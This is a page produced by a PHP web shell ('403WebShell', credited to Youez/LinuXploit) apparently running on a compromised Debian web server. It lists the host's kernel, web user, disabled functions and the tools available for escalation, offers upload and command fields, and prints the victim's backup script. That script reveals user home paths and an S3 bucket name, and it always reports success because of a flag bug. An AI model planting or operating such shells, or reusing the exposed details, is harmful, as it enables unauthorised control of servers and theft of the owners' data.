Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.200
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/guillaumea/script/backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/guillaumea/script/backup/master.sh
#!/bin/bash

bash db-backup.sh
echo "backup db finished"

bash mail-backup.sh
echo "mail backup finished"

bash www-backup.sh
echo "var www backup finished"

DOW=$(date +"%u")
WNB=$((($(date +%-d)-1)/7+1))
Error=0
echo "loading back-up server.."
#s3fs bucket-lsdl /aws-s3/mount/ -o passwd_file=/aws-s3/pass/passwd

echo "day $DOW of week $WNB"
s3cmd del s3://edl-bucket-2020/S$WNB/J$DOW/*
s3cmd put -r /home/nicolasj/backup/ s3://edl-bucket-2020/S$WNB/J$DOW/
let Error=1

if [ "$Error" -eq "1" ];
then
echo "backup $(date +%Y-%m-%d) succed!"
echo "the daily backup has succesfully upload to aws-s3 on $(hostname) as on $(date)" |
      mail -a "from:[email protected]" -s "Info: Backup securing succeed " [email protected]
elif [ "$Error" -eq "0" ];
then
echo "error on back up.."
echo "the daily backup had failled to upload to aws-s3 on $(hostname) as on $(date)" |
        mail -a "from:[email protected]" -s "Alert: Daily back-up securing failled" [email protected]
else
echo "program error"
fi







Youez - 2016 - github.com/yon3zu
LinuXploit